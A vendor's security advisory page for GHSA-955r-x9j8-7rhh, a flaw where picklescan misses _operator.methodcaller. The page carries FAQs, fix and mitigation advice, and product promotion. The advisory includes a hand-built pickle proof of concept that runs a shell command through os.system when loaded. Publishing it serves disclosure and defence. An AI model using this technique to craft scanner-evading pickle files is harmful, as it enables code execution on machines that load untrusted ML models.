How severe is GHSA-955r-x9j8-7rhh?

No CVSS score has been assigned to GHSA-955r-x9j8-7rhh yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-955r-x9j8-7rhh?

GHSA-955r-x9j8-7rhh affects the following packages: picklescan (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-955r-x9j8-7rhh?

Update picklescan to 0.0.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-955r-x9j8-7rhh is resolved across your whole dependency graph.

How do I detect GHSA-955r-x9j8-7rhh in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-955r-x9j8-7rhh if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-955r-x9j8-7rhh?

O3 pinpoints whether GHSA-955r-x9j8-7rhh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-955r-x9j8-7rhh actively exploited in the wild?

No public exploit code has been indexed for GHSA-955r-x9j8-7rhh yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-955r-x9j8-7rhh published, and has it been updated?

GHSA-955r-x9j8-7rhh was published on December 30, 2025 and was last updated on December 30, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-955r-x9j8-7rhh

Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller

Published

Dec 30, 2025

Updated

Dec 30, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`picklescan`	all versions	0.0.34

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-955r-x9j8-7rhh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-955r-x9j8-7rhh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-955r-x9j8-7rhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method - Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import pickletools opco

O3 Security · Impact-Aware SCA

Is GHSA-955r-x9j8-7rhh in your dependencies?

O3 detects GHSA-955r-x9j8-7rhh across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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